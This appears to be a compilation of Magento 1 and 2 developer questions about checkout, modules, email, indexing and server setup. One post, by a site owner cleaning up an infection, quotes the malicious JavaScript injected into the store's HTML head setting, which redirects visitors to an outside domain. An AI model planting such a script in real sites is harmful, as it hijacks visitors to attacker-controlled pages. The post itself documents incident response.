texts: Free Shipping Problem with Magento 1.9.3.10 and PHP 7

texts:
I am in the process of upgrading a Magento 1.8.1 installation to ver 1.9.3.10 on a development server with PHP 7.0  using the blank template. Everything seems to work fine except during checkout, if I select either the Free Shipping method, or the UPS Free method method with minimum order amount set.

The checkout process proceeds normally until I submit the payment info in step 5, either Cash on Delivery or Paypal Payflow with Express Checkout (sandbox). If I try to change the shipping method in the right column "Your Checkout Progress" at that point, the free shipping method is not available, and the UPS Free method shows the normal shipping quote amount for that method (ground).

If I just go through the checkout process without changing anything:
1) If I chose the UPS free method with order amount above the threshold, where it showed $0 cost initially, it shows the normal quote amount (not free) for that method in order review, step 6.
2) If I chose the magento free shipping method, I receive an alert "Please specify a shipping method." and transaction failed email. Then I have the following error in my exception.log:

2018-12-22T00:11:02+00:00 ERR (3):
Mage_Core_Exception: Please specify a shipping method. in MAGENTO_ROOT/app/Mage.php:595
Stack trace:
#0 MAGENTO_ROOT/app/code/core/Mage/Sales/Model/Service/Quote.php(303): Mage::throwException('Please specify ...')
#1 MAGENTO_ROOT/app/code/core/Mage/Sales/Model/Service/Quote.php(222): Mage_Sales_Model_Service_Quote->_validate()
#2 MAGENTO_ROOT/app/code/core/Mage/Sales/Model/Service/Quote.php(238): Mage_Sales_Model_Service_Quote->submitNominalItems()
#3 MAGENTO_ROOT/app/code/core/Mage/Checkout/Model/Type/Onepage.php(819): Mage_Sales_Model_Service_Quote->submitAll()
#4 MAGENTO_ROOT/app/code/core/Mage/Checkout/controllers/OnepageController.php(599): Mage_Checkout_Model_Type_Onepage->saveOrder()
#5 MAGENTO_ROOT/app/code/core/Mage/Core/Controller/Varien/Action.php(418): Mage_Checkout_OnepageController->saveOrderAction()
#6 MAGENTO_ROOT/app/code/core/Mage/Core/Controller/Varien/Router/Standard.php(254): Mage_Core_Controller_Varien_Action->dispatch('saveOrder')
#7 MAGENTO_ROOT/app/code/core/Mage/Core/Controller/Varien/Front.php(172): Mage_Core_Controller_Varien_Router_Standard->match(Object(Mage_Core_Controller_Request_Http))
#8 MAGENTO_ROOT/app/code/core/Mage/Core/Model/App.php(365): Mage_Core_Controller_Varien_Front->dispatch()
#9 MAGENTO_ROOT/app/Mage.php(683): Mage_Core_Model_App->run(Array)
#10 MAGENTO_ROOT/index.php(83): Mage::run('', 'store')
#11 {main}

Other than that I have no other errors, including in my console or system.log

I can checkout with no problems with PHP 5.6.


texts:
After some actions - especially relating to transactional emails - in the frontend (e.g. new customer signup, newsletter signup, forgot password etc.) there's a blank page (e.g. www.domain.com/customer/account/createpost/ oder www.domain.com/newsletter/manage/save/):

If I reload the page manually, everything is fine and the signup also has worked (customer created).

If I disabled System > Configuration > Advanced > System > Mail Sending Settings everything works fine, but no emails of course.

I just activated the log and I got the following exception:

exception magento /app/code/core/Mage/Core/Model/Email/Template.php:374

Thank you!

FYI: Already tried to setup the cron as described

EDIT: System specs: Cent OS 7, MariaDB on a remote server, Magento CE 1.9.1.1


texts: How to fetch data from MySQL table and create a custom select menu

texts:
I am using Magento 1.9.0.1 developing a custom extension.
For that purpose i have to ask how can i run a custom MySQL query.

I want to run simple MySQL query with while loop. If it was a simple PHP script i am going to make it this way:

$r = mysql_query("SELECT * FROM `extensa_econt_city`");

    while($rowi = mysql_fetch_array($r))
            {
            $name = $rowi['name'];
            $city_id = addslashes($rowi['city_id']);
            echo "<option value='$city_id'>$name</option>";
            }

With this code in simple PHP i'll get all the rows and make them as options.
I do not know however how can i get the information from table extensa_econt_city which is in the Magento database.

I will use this in a custom template file where i'll display that select menu.
So guys can you please show me how can i run custom MySQL queries with while loop in Magento ?

Thanks in advance!


texts: Magento 2 How can I validate the email confirmation field with the actual email field?

texts: I have added confirm email field in my contact form. Now I want to validate it. How can I validate this email confirmation field with the actual email field?


texts: Magento 2 : We cant place the order : SQLSTATE[HY000]: General error: 1449 The user specified as a definer your_db_user@% does not exist

texts:
I have migrated a Magento 2 site to a new server and getting the below error when placing order

  We cant place the order :
  SQLSTATE[HY000]: General error: 1449 The user specified as a definer
  your_db_user@% does not exist, query was: UPDATE
  cataloginventory_stock_item SET qty = CASE product_id WHEN 65464 THEN
  qty-1 ELSE qty END WHERE (product_id IN (65464)) AND (website_id =
  0)"}],"data_id":1563289789}}


texts:
I have my custom module to create tabs in product page.
In magento 2.3.0 works perfectly, but after update Magento to 2.3.1 my module doesn't work.
are there any big changes in magento wersion??


texts: [magento2]I've added the custom attribute to customer_address_entity and display in UI form. how to save the custom attribute to database when submit form


texts: How to remove shipping address from onepage checkout?

texts:
I'm using Magento version 1.9.1.0.

I need to remove shipping address from onepage checkout. I did change the code as below

protected function _getStepCodes()
{
    return array('login', 'billing', 'shipping_method', 'payment', 'review');
}

in app/code/local/Mage/Checkout/Block/Onepage/Abstract.php.

The problem is when click on continue button in billing page not going to shipping method page. Please let me know where else the code needs to be changed.

Thanks.


texts: How to add Custom Menu item and submenu in navigation bar Magento 2?

texts: I am struggling to add a non-category custom menu in the navigation bar and also a sub-menu. Please help. Thanks.


texts: Old Rich Snippets showing in Google as well as New Rich Snippets

texts:
As far as I am aware, the meta descriptions and the page titles I add to my Magento site are used as the rich snippets on Google.

Recently I have changed my Meta Descriptions and Page Titles so they where more suited to my Keywords. When I search certain keywords in Google, the rich snippets have changed to how I want them to be, however for some reason, when I search other keywords, the rich snippets still appear how they used too, and haven't updated. This is strange because both rich snippets are directing to the same Home Page, even though they are being displayed different. Here is whats happening:

Google Search keyword 1 returns:

  Old Title
  www.example.com
  Old Rich Snippet

Google Search keyword 2 returns:

  New Title
  www.example.com
  New Rich Snippet

Both are pointing to my home page. I want keyword 1 to return the new rich snippet.

I have gone into Google Webmaster and asked Google to crawl my site again, which it has done successfully. However this problem is still happening. It’s like Google has updated my rich snippet for some keywords but not the main keywords that I am trying to rank for, which sucks!

Does anyone have any ideas as to why?


texts: How can i add pattern="[0-9]*" validation in my login form ?


texts: Magento2 Application Automation Testing - For Automation Testers

texts:
I am doing automation testing on Magento2 application for one of my client.

I have heard from some people there are some automated testing frameworks for Magento 2. But everything seems to be helpful for developers for performing unit test only. I am automating the application using Selenium WebDriver, TestNG and JAVA, and it is working fine. I would like to know is there any other tools or technology stack for testers to do automation testing which covers all test cases and workflows.

So I would like to get more insights on this, if you have worked on Magento 2 automation testing, please help me!

Things I would like to know:

Whether it is a good practice to automate Magneto2 application with Selenium WebDriver+TestNG+Java?
Is there any specific tool for Magento 2 Application testing for testers, not for unit testing/functional testing for developers.


texts: extending a controller and model that are already extended

texts:
Below is my attempt to overwrite two pieces of magento core / enterprise code.  However, I'm unsure as to how to overwrite these because they're already extensions of other pieces of code.  Any elucidation is appreiciated.

Controller class definition:

require_once 'Mage/Wishlist/controllers/IndexController.php';
class Enterprise_Wishlist_IndexController extends Mage_Wishlist_IndexController

Model class definition:

class Mage_Wishlist_Model_Wishlist extends Mage_Core_Model_Abstract

Attempted controller overwrite definition:

require_once(Mage::getModuleDir('controllers', 'Enterprise_Wishlist') . DS . 'IndexController.php');
class  Namespace_Wishlist_IndexController extends Enterprise_Wishlist_IndexController

Attempted Model overwrite definition:

class Namespace_Wishlist_Model_Wishlist extends Mage_Wishlist_Model_Wishlist

config.xml for module:

<?xml version = "1.0"?>
<config>
    <modules>
        <Namespace_Wishlist>
            <version>0.0.1</version>
        </Namespace_Wishlist>
    </modules>
    <frontend>
        <routers>
            <wishlist>
                <args>
                    <modules>
                        <Namespace_Wishlist before="Enterprise_Wishlist">Namespace_Wishlist</Namespace_Wishlist>
                    </modules>
                </args>
            </wishlist>
        </routers>
    </frontend>
    <global>
        <models>
            <wishlist>
                <rewrite>
                    <wishlist>Namespace_Wishlist_Model_Wishlist</wishlist>
                </rewrite>
            </wishlist>
        </models>
    </global>
</config>

This is the .xml declaration:

<?xml version = "1.0"?>
<config>
    <modules>
        <namespace_wishlist>
            <active>true</active>
            <codepool>local</codepool>
        </namespace_wishlist>
    </modules>
</config>


texts: Magento Partial reindex (catalog_product_flat tables) problems for huge amount of products

texts:
I have found a bug in Magento, but I'am not sure this is bug.

app/code/core/Enterprise/Catalog/Model/Index/Action/Product/Flat/Refresh/Changelog.php

public function execute()
{
    if (!$this->_isFlatIndexerEnabled()) {
        return $this;
    }
    $this->_validate();

    $changedIds = $this->_selectChangedIds();
    if (!empty($changedIds)) {
        $stores = Mage::app()->getStores();
        foreach ($stores as $store) {
            $idsBatches = array_chunk($changedIds, Mage::helper('enterprise_index')->getBatchSize());
            foreach ($idsBatches as $ids) {
                $this->_reindex($store->getId(), $ids);
            }
        }
        $this->_setChangelogValid();
        Mage::dispatchEvent('catalog_product_flat_partial_reindex', array('product_ids' => $changedIds));
    }

    return $this;
}

So we call _reindex method for all stores by 500 products.

in _reindex method we have this code:

if (!self::$_calls) {
    $temporaryEavAttributes = $eavAttributes;

    //add status global value to the base table
    /* @var $status Mage_Eav_Model_Entity_Attribute */
    $status = $this->_productHelper->getAttribute('status');
    $temporaryEavAttributes[$status->getBackendTable()]['status'] = $status;
    //Create list of temporary tables based on available attributes attributes
    foreach ($temporaryEavAttributes as $tableName => $columns) {
        $this->_createTemporaryTable($this->_getTemporaryTableName($tableName), $columns);
    }

    //Fill "base" table which contains all available products
    $this->_fillTemporaryEntityTable($entityTableName, $entityTableColumns, $changedIds);

    //Add primary key to "base" temporary table for increase speed of joins in future
    $this->_addPrimaryKeyToTable($this->_getTemporaryTableName($entityTableName));
    unset($temporaryEavAttributes[$entityTableName]);

    foreach ($temporaryEavAttributes as $tableName => $columns) {
        $temporaryTableName = $this->_getTemporaryTableName($tableName);

        //Add primary key to temporary table for increase speed of joins in future
        $this->_addPrimaryKeyToTable($temporaryTableName);

        //Create temporary table for composite attributes
        if (isset($this->_valueTables[$temporaryTableName . $this->_valueFieldSuffix])) {
            $this->_addPrimaryKeyToTable($temporaryTableName . $this->_valueFieldSuffix);
        }

        //Fill temporary tables with attributes grouped by it type
        $this->_fillTemporaryTable($tableName, $columns, $changedIds);
    }
}

Here we create temporary table "catalog_product_entity_tmp_indexer" (and other entity type tables) if this is the first call of reindex. And we use this tmp table for update rest products (over 500)
But we have in catalog_product_entity_tmp_indexer maximum 500 products.

And partial reindex for catalog_product_flat dosn't work for changed products over 500.


texts: On removing store view, Does Magento remove its associated URLs(Generated)

texts:
Need information regarding Magento setup.

  On removing store view, Does Magento remove its associated
  URLs(Generated: Core_URL_Rewrite etc) ?

Thanks


texts:
I'am using Luma theme and I tried to override some phtml from module_catalog.
In luma theme folder which is in vendor/theme-frontend-luma in /Magento_Catalog I created the same path as phtml form that I tried to override and it's not working.

Is it possible to do that in Luma theme? or the only way is to create my own theme in app folder to override file?


texts:
I noticed this weekend that someone was pounding on /rss/catalog/notifystock/ trying to brute force the admin credentials. I've added a line to the nginx vhost.d conf that returns 403 when you attempt to visit /rss/catalog/notifystock/ effectively blocking this attack. I've also blocked /rss/order/new and /rss/catalog/review as I discovered they were vulnerable during my research.

When I check the nginx access log I still see them pounding away. The access log shows it is returning a 301 instead of the 403 they should be seeing. Any ideas on why I might be seeing the 301?


texts: Magento2 how to programmatically pass customizable options when adding product to cart

texts: Magento2.3.3 I am adding product to cart programmatically, how can I pass product customizable options together?


texts: Magento2: how to add ten digit mobile number validation on contact us page?

texts:
I want to add ten digit mobile number validation on contact us page.

I already followed this but not working for me.


texts: to all , I need to override the app\code\core\Mage\Adminhtml\controllers\Sales\Order*ShipmentController.php* . Anyone can help me.How i achieve this in magento 1.9


texts: How to change Content-Transfer-Encoding for custom email type?

texts:
We have created a custom payment module to allow integration with a client's POS system. The module delivers the order details in the body of an encrypted plain text email. (This method is determined by the POS, we have no say in the execution.)

The only remaining issue appears to be the content encoding. Because the order details are encrypted, then base64 encoded, we have to protect the integrity of the email content.

The email is sent using Magento's TransportBuilder, but winds up with these email headers and fails decryption.

Rejected email headers:

Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
MIME-Version: 1.0

If I copy the contents into a simple email interface and send as plain text, it is successful with these headers.

Accepted email headers:

Content-Type: text/plain; charset=utf-8; format=flowed; DelSp=Yes
MIME-Version: 1.0
Content-Disposition: inline

What can I do to correct the Content Type and Content Transfer Encoding?

Current code:

protected function prepareMessage()
{
    $emailTemplate = $this->getTemplate()->loadDefault('ftd_order_email');
    $emailTemplateVariables = $this->templateData['template_process_data'];
    $encryption_key = $this->templateData['encryption_key'];
    $processedTemplate = $emailTemplate->getProcessedTemplate($emailTemplateVariables);

    $encrypted_data = $this->encrypt($encryption_key, self::ENCRYPTION_ALGO, self::ENCRYPTION_MODE, $processedTemplate);

    /** @var AbstractTemplate $template */
    $template = $this->getTemplate()->setData($this->templateData);
    $this->setTemplateFilter($template);

    $this->message->setMessageType(
        \Magento\Framework\Mail\MessageInterface::TYPE_TEXT
    )->setBody(
        $encrypted_data
    )->setSubject(
        $template->getSubject()
    );

    return $this;

Thanks!


texts: Magento\Review\Block\Product\View\ListView with constructor breaks block

texts:
I extend Magento\Review\Block\Product\View\ListView with my own custom class, called Review.

As learned I need to extend the constructor with the same data that gets used in Magento\Review\Block\Product\View, which is extended by ListView.

However, as soon as I bring a constructor into my code, it fails. The question is: why?

Review.php (Custom Extend):

<?php

namespace MS\RealReviews\Block;

/**
 * Entity rating block
 *
 */

class Review extends \Magento\Review\Block\Product\View\ListView
{

    protected $customer_id;
    protected $_orderCollectionFactory;

    public function __construct(
        \Magento\Catalog\Block\Product\Context $context,
        \Magento\Framework\Url\EncoderInterface $urlEncoder,
        \Magento\Framework\Json\EncoderInterface $jsonEncoder,
        \Magento\Framework\Stdlib\StringUtils $string,
        \Magento\Catalog\Helper\Product $productHelper,
        \Magento\Catalog\Model\ProductTypes\ConfigInterface $productTypeConfig,
        \Magento\Framework\Locale\FormatInterface $localeFormat,
        \Magento\Customer\Model\Session $customerSession,
        \Magento\Catalog\Api\ProductRepositoryInterface $productRepository,
        \Magento\Framework\Pricing\PriceCurrencyInterface $priceCurrency,
        \Magento\Review\Model\ResourceModel\Review\CollectionFactory $collectionFactory,
        \Magento\Sales\Model\ResourceModel\Order\CollectionFactory $orderCollectionFactory,
        array $data = []
    ) {
        $this->_orderCollectionFactory = $orderCollectionFactory;
        parent::__construct(
             $context,
             $urlEncoder,
             $jsonEncoder,
             $string,
             $productHelper,
             $productTypeConfig,
             $localeFormat,
             $customerSession,
             $productRepository,
             $priceCurrency,
             $collectionFactory,
             $data
        );
    }

    protected function _setCustomerID($input){
        $this->customer_id = $input;
    }

    protected function _getCustomerID(){
        return $this->customer_id;
    }

    public function isRealReview($customer_id){

        $html = '';
        $product = $this->getProductId();
        $this->_setCustomerID($customer_id);

        $html .= $this->_getCustomerID();

        return $html;
    }

}

If I delete the constructor from the code, it works again. How can I fix that?


texts: Magento 2 setup with Multiple Stores and Domains

texts:
I would like to setup multi store.
I have two domains:

example.com
french.example.com

I use this article:
https://www.simicart.com/blog/magento-2-multiple-stores-domains/
and created:

Websites:
French (Code: french)
Main Website (Code: base)

Stores:
French (Code: french)
Main Website Store (Code: main_website_store)

Store views:
French (Code: french)
Default Store View (Code: default)

Base URLs (Store View for Default config) is http://example.com.
Base URLs (Store View for French) is http://french.example.com.

It works correct!

But, I would like to use Base URL "example.com" for both domains!

I mean, that

$this->_storeManager->getStore()->getBaseUrl(\Magento\Framework\UrlInterface::URL_TYPE_WEB)

have to return "example.com" for store view French as well!

Now it returns "french.example.com" for French and "example.com" for Default.

Is it possible to setup this way?


texts: How to import a configurable product with it's associated simple products using a .csv file?

texts:
How to import configurable products and it's associated products using a .csv file.

Is there a template which I can get? If so where? And also is there a guide I can follow to do it?


texts: How to restore an order status value that has been previously deleted in Magento Admin Interface?

texts:
I accidentally deleted an order Status which I need to recover but I don't know how.

The following image below shows the statuses before I deleted one.

The second image below shows the statues as they are now.

I deleted the second one from the top:

    Pending - pending - Yes - processing [Processing].

I cannot add it back in because it does not allow for the status code to be used twice. I think the people who made our website created this using code somehow to achieve the functionality which we needed.

Previously, an order would come in with the status of Pending, and we could then change it to Processing when it was ready to be exported to our warehouse.

Now orders coming from Paypal and orders we take over the phone go straight to Processing which is not good.

Can anyone help?


texts:
I have tried adding a WYSIWYG editor to custom widget I have created using the approach outlined at: http://behrendtio.github.io/2013/04/12/using-a-wysiwyg-editor-in-a-magento-widget/

However, when I insert the widget on a CMS page and I try to save the page i get the following error in a JS alert:

error: error in [unknown.object].fireEvent();

event name: formSubmit()

error message: Cannot set property 'value' of null

I have been able to determine that if I add more WYSIWYG editors into the widget, I get more popups.

It does actually save the content though. I am doing this for a client however, and we do not want our client getting unexplainable errors every time they save a page.

I am not really sure where to go from here. I can't seem to find a reason as to why those 2 are connected and even less how to get rid of the error altogether.


texts: Magento 2 : Area code must be set before starting a session?

texts:
We have a custom console command and it was working fine in Magento 2.2.7 , when we move this extension to Magento 2.3 it failed when we running setup:upgrade.

Anyone who have faced exact similar issue. Please do help.


texts:
All links in my Magento 2 store just suddenly stopped working. If I remove the top require, it works:

var require = {
        "baseUrl": "https://2f44f.mojostratus.io/static/version1564697154/frontend/Mgs/default/pt_BR"
    };

What might be the issue? I haven't added any big change lately, only added a js file to the cart (which is working fine).


texts: How to move all css files in footer in mageno 2.2

texts:
In Magento 2.2.5, I have to load all CSS files in footer rather than header(as Magento do by default).
Please anybody can suggest me solution.
Thank you.


texts: How can change image position in Recently viewed product in magento 1.9.2.4?

texts:
I'm trying to call another image from that particular product but in that I'm seeing only default image.

Is it any way to display another image on recently view product


texts: whats the best architecture for magento in AWS ec2

texts:
I am using magento 2.3 on AWS ec2 but the performance is quite not good full website load is about 5 sec.
I am using following structure :

Application instance : EC2 t2.xlarge
Mysql RDS : db.t3.large
AWS CloudFront for media images

I am ready to change the instance types or adding any additional services. but need the website to load within 2-3 sec.


texts: Magento 2 getting error There is a problem with creating or binding queue

texts:
The error says:

 report.ERROR: There is a problem with creating or binding queue "inventory_qty_counter_queue" and an exchange "magento". Error: [] []
[2017-01-11 07:28:02] report.ERROR: Sample Data error: Warning:


texts: magento 2.3 cannot translate "apply filters" button

texts:
I have a magento 2.3 with a couple of different languages. Everything works fine except that localization cannot translate the "Apply Filters" button label. This button is located on every backend grid that has filters enabled, so if (for example) you go to Customers > All Customers, click the "Filter" button to open the filter section and here you have all the filterable fields + the "Cancel" button and the "apply filters" button:

As you can see from the screenshot, everything gets translated except for the Apply Filter button.
I tried to add a translation via my_custom_module/i18n/it_IT.csv:
"Apply Filters", "Applica Filtri", module, Magento_Ui
This method works for another button that wasn't translated (the upload button of the uploader component) but it doesn't work for the Apply Filter button, despite both being built in a similar way (via 'data-bind:i18n' attribute in the html template) and both templates being in the Module_Ui component.
Is there a way to have that filter button translated?


texts: Magneto MFTF setup is not working/ Throwing error Could not find ActionGroup by ref "ResetAdminDataGridToDefaultViewActionGroup" in Element

texts:
I struck while setting up my MFTFframework in my local environment, your help is much appreciated.
I followed steps as per below url to setup MFTF but It is throwing error when i run mftf generate:tests as i mentioned below.
https://devdocs.magento.com/mftf/docs/getting-started.html
! [NOTE] Could not find ActionGroup by ref "ResetAdminDataGridToDefaultViewActionGroup" in Element
!        "after"
C:\XAMPP\htdocs\mymagento2app\vendor\magento\module-adobe-stock-image-admin-ui\Test\Mftf\Test\AdminAd
!        obeStockSaveLicenseWithSavedPreviewTest.xml
!***
Versions i used
Magento ver. 2.3.5-p1
Magento Functional Testing Framework CLI 2.6.5


texts: magento 2.2.5: Adding Custom Attribute to Customer Edit Form in Admin

texts:
I am trying to add a custom attribute using below code but its not working -

    namespace A2bizz\Customer\Setup;
    use Magento\Customer\Setup\CustomerSetupFactory;
    use Magento\Customer\Model\Customer;
    use Magento\Eav\Model\Entity\Attribute\Set as AttributeSet;
    use Magento\Eav\Model\Entity\Attribute\SetFactory as AttributeSetFactory;
    use Magento\Framework\Setup\InstallDataInterface;
    use Magento\Framework\Setup\ModuleContextInterface;
    use Magento\Framework\Setup\ModuleDataSetupInterface;

    /**
     * @codeCoverageIgnore
     */
    class InstallData implements InstallDataInterface
    {

        /**
         * @var CustomerSetupFactory
         */
        protected $customerSetupFactory;

        /**
         * @var AttributeSetFactory
         */
        private $attributeSetFactory;

        /**
         * @param CustomerSetupFactory $customerSetupFactory
         * @param AttributeSetFactory $attributeSetFactory
         */
        public function __construct(
            CustomerSetupFactory $customerSetupFactory,
            AttributeSetFactory $attributeSetFactory
        ) {
            $this->customerSetupFactory = $customerSetupFactory;
            $this->attributeSetFactory = $attributeSetFactory;
        }

        public function install(ModuleDataSetupInterface $setup, ModuleContextInterface $context)
        {
                    $setup->startSetup();

            /** @var CustomerSetup $customerSetup */
            $customerSetup = $this->customerSetupFactory->create(['setup' => $setup]);

            $customerEntity = $customerSetup->getEavConfig()->getEntityType('customer');
            $attributeSetId = $customerEntity->getDefaultAttributeSetId();

            /** @var $attributeSet AttributeSet */
            $attributeSet = $this->attributeSetFactory->create();
            $attributeGroupId = $attributeSet->getDefaultGroupId($attributeSetId);

            $customerSetup->addAttribute(Customer::ENTITY, 'a2bizz_attribute2', [
                'type' => 'varchar',
                'label' => 'Custom Attribute2',
                'input' => 'text',
                'required' => false,
                'visible' => true,
                'user_defined' => true,
                'sort_order' => 1000,
                'position' => 1000,
                'system' => 0,
            ]);

            $attribute = $customerSetup->getEavConfig()->getAttribute(Customer::ENTITY, 'a2bizz_attribute2')
            ->addData([
                'attribute_set_id' => $attributeSetId,
                'attribute_group_id' => $attributeGroupId,
                'used_in_forms' => ['adminhtml_customer'],
            ]);

            $attribute->save();
            $setup->endSetup();
        }
    }

I check the backend entries in database , the entry of attribute is added to the tables , eav_attribute and customer_eav_attribute

but still it is not showing in edit form in admin section.

I also run below commands -

php bin/magento setup:upgrade
php bin/magento setup:static-content:deploy
php bin/magento cache:flush


texts: Redirection from Observer is throwing a FATAL Error

texts:
In my event Observer.php class I am using the following code, but it is throwing me a Fatal Error.

Fatal error: Call to a member function getFrontNameByRoute() on a non-object in /var/www/tweak/app/code/core/Mage/Core/Controller/Varien/Front.php on line 216

I am using the following code for redirection

Mage::app()->getFrontController()->getResponse()->setRedirect(Mage::getBaseUrl()."us/");

I have also tried it with some hardcoded URLs for but same problem. I remember it was working earlier.

I am using PHP Version 5.4.34-1+deb.sury.org~precise+1


texts: How can I disable the "Apply Gift Card" entry during checkout?

texts:
I am making a store that never intends to offer gift cards.

I'm stumped how to disable the "Apply Gift Card" form on the payment step of checkout.

There isn't a clear way to do this via the admin. Disabling just the block won't also disable the JavaScript that is pulled in - and that causes other problems.

This is for Magento 2 Enterprise Edition. Disabling just the Magento_GiftCard module seems potentially problematic because of the dependencies it is involved with.


texts: Where is function for remove image from admin of product

texts: I want to know function logic location, when product image is remove from admin section. The checkbox is present in "images" tab. After check checkbox of images in "Remove" column and hit save or save and continue which functions calls in both cases for remove images which are assigned to product.


texts: magento setpage show first page even if the page doesn't exist

texts:
i have a category

TV category ()
  TV (2)

  16" ~ 22" (3)

  24" ~ 29" (7)

  32" ~ 39" (8)

  40" ~ 50" (1)

  3D (0)

  4K Ready (2)

In phtml

<?php foreach ($subcategories as $subcategory) : ?>

       <?php $products = $this->getProducts($subcategory); ?>

       ....show product info

<?php endforeach ?>

In block class

public function getProducts(Mage_Catalog_Model_Category $subcategory)
{
    if (!isset($this->_products[$subcategory->getId()])) {
        $products = $subcategory->getProductCollection()
            ->addAttributeToSelect(Mage::getSingleton('catalog/config')->getProductAttributes())
            ->addMinimalPrice()
            ->addFinalPrice()
            ->addTaxPercents()
            ->addUrlRewrite($subcategory->getId())
            ->addAttributeToSort('price', 'ASC')
            ->setPage(3, 3);

    }
    return $products;
}

The problem is that when i use setPage (3, 3), the product will still print the first page of the TV subcategory which only contains two product. How to solve this problem?


texts: how to find the customer custom attribute select box value table

texts:
i install the custom_attribute extension, in that i created a field name like "language" with multi select type, also there have a option to add the select box option values.

i add this field into the edit profile page, after selects the user language i want to display the selected language to some other page.

may i know in which table the options value will be stored.

see the below screen you will be feel better to answer my post.

1)customer custom multi select attribute(language)

2)eav attribute table

3)Customer entity varchar table


texts: Website start redirecting to another url

texts:
Maybe it's infected by some virus.

My website starts redirecting to these infected URL.

http://mon.setsu.xyz
and some time https://tiphainemollard.us/index/?1371499155545
Infected links

what I did to solve.

Commented .htaccess file ( nothing happen)
Commented include folder ( nothing happen)
Scanned complete server ( nothing happen no virus malware found)
Changed CSS, media and js path from the database just to ensure that weather its PHP or any js is doing ( nothing happen)
select * from core_config_data where path like '%secure%'; all links are ok
UPDATE

I googled and many articles were written on this but they suggest it was a browser issue or my system is infected. An article on this
even if I open the site on my phone or on my personal laptop, issues are same.

UPDATE 2

I found the row in the database which is affected. ( as Boris K. also saying)

In the core_config_data   table  design/head/includes  value  have a

Which will be inserted in head section on page load.

If you visit the above URL you will get a script of redirect which is

   var redirChrome;
var isToChrome = document.currentScript.getAttribute('data-type');

if((isToChrome == 1 && navigator.userAgent.indexOf("Chrome") != -1) || !isToChrome){

 var idToRedirect = document.currentScript.getAttribute('id');

window.location.replace('https://tiphainemollard.us/index/?'+idToRedirect);
}

Client website is working from afternoon once I removed that script. But the main problem is how that script inserted into the database.

One patch is also outdated so I updated that patch also.

UPDATE 3
The site is infected again.
This is the script inserted in Admin section ( Admin->Configuration->General->Design->HTML Head->Miscellaneous Script)

And in database column

I don't know what to do now.
As I changed every password,
Deleted all old users.

UPDATE 3

Till now that error doesn't come so it means by following the above steps we can overcome this issue.

UPDATE::4
Always install patches as it helps me in projects to make store less prone to these type of issues and patches are important as well.
One can use https://magescan.com/ to check the issues on their website.


texts: How to override Magento 2 welcome email upon new customer account creation

texts:
I need to customize default Magento welcome email template which is sending upon new customer account creation in my  custom module. I'm using the following functions for sending welcome email upon successful account creation in the admin end.

$customer = $this->_customerFactory->create();
$customer->sendNewAccountEmail();

But the default email with no password is sending. I need to send email with new email template with username and link to reset the password with custom texts.

I tried to override customer model using preference and plugin method. but nothing worked. Help to resolve the issue fast.


texts: Sales rep don't receive order copy email

texts:
So after migrating to a new server, I stopped receiving the Order copy emails to the sales representative or any other specified.

Default is info@shopdomain.co.uk, I also tried @gmail.com, none of the receive the order copy.

The client is receiving the order email fine.

info@shopdomain.co.uk is managed with google G suite. I tried to make a test and see if maybe server is failing to send emails to that email:

using cli mail command I can send emails and info@shopdomain.co.uk receives them. Cron is running fine, I can see tasks working.

edit 27/11

The first problem was Reverse DNS not working, thus some clients got emails but to the spam folder, fixed that and added SPF and now everyone is getting emails.

The second problem I see that my default scope settings are being ignored and website scope is used for sending emails, but also only if I add the email info@shopdomain.co.uk to "Send order copy email to". So why Sales rep dont get the email if he has the same email- info@shopdomain.co.uk?

Why default is being overridden by website scope?


texts: Magento 2 developer mode doesn't regenerate static files automatically

texts:
I have a Magento 2.0.2 installation in developer mode and I still can't figure out how to force it to regenerate the static view files whenever I make a change in my CSS.

I verified that I am in developer mode by running
php bin/magento deploy:mode:show

On this page it says that developer mode disables static view files caching, but that is not the case for me.

I tried to edit the di.xml as mentionned in this solution but it didn't change Magento's behavior.

How can I tell magento to automatically regenerate static view files?


texts: Nginx sometimes returns 502 because of varnish panic

texts:
we are using Magento 2.3.5 with following setup:

User >> NGINX >> VARNISH (locale Docker) >> APACHE + PHP

Randomly some Requests returned by Nginx with 502. log file says:
recv() failed (104: Connection reset by peer) while reading response header from upstream

or
upstream prematurely closed connection while reading response header from upstream

The error comes from varnish:

Child (23669) Panic message:
Assert error in VEP_Init(), cache/cache_esi_parse.c line 1039:
  Condition((vep) != 0) not true.
thread = (cache-worker)
version = varnish-4.0.5 revision 07eff4c29
ident = Linux,3.10.0-1160.21.1.el7.x86_64,x86_64,-smalloc,-smalloc,-hcritbit,epoll
Backtrace:
  0x55ed00ab6dc3: varnishd(+0x3edc3) [0x55ed00ab6dc3]
  0x55ed00a9d16f: varnishd(VEP_Init+0x29f) [0x55ed00a9d16f]
  0x55ed00a9a59a: varnishd(vfp_esi_gzip_pull+0x1ea) [0x55ed00a9a59a]
  0x55ed00aa3a3e: varnishd(VFP_Fetch_Body+0x6e) [0x55ed00aa3a3e]
  0x55ed00aa0839: varnishd(+0x28839) [0x55ed00aa0839]
  0x55ed00aba07d: varnishd(Pool_Work_Thread+0x39d) [0x55ed00aba07d]
  0x55ed00acf372: varnishd(+0x57372) [0x55ed00acf372]
  0x7fd536c9ae25: /lib64/libpthread.so.0(+0x7e25) [0x7fd536c9ae25]
  0x7fd5369c834d: /lib64/libc.so.6(clone+0x6d) [0x7fd5369c834d]
  busyobj = 0x7fd524d00020 {
    ws = 0x7fd524d000e0 { OVERFLOW
      id = ""o",
      {s,f,r,e} = {0x7fd524d02008,+90136,(nil),+90136},
    },

The problem is: There is no way to reproduce this failure. It seems like it happens randomly.
I know Varnish Version 4 is not the latest, but worked like a charme for month in our setup.
Is there anybody out there with a additional idea, where to search for the solution?
Thanks in advanced


texts: In Magento 2 how can we create custom module for return orders. We need  options return order. Is it possible to do custom.


texts: How can I put the onepage checkout on a CMS page?

texts:
Basically I want to create a one page magento checkout site (similar to this site: https://store.whistle.com/orders/new) where the product and checkout are one the same page.

Is that even possible? If you don't recommend it, why?


texts: Magento 2 : Set checkbox on cart page and update subtotal

texts:
I want to set one checkout in checkout cart page and on checkbox check uncheck cart total value should be plus minus.
How can I do that?
Any help would be appreciated.


texts: How to add a custom label in shipping address form in Magento2.2.5?

texts:
I want to add a only a label - just for informing a user in shipping address form in Magento2.2.5?

Any help would be appreciated.


texts: Magento 2 Storefront and admin panel empty

texts:
On my Magento 2.2.6 with Nginx php-fpm centos 7
storefront & admin panel shows an empty page with a message "CMS homepage content goes here."
Applied these commands also
sudo find var generated vendor pub/static pub/media app/etc -type f -exec chmod g+w {} +
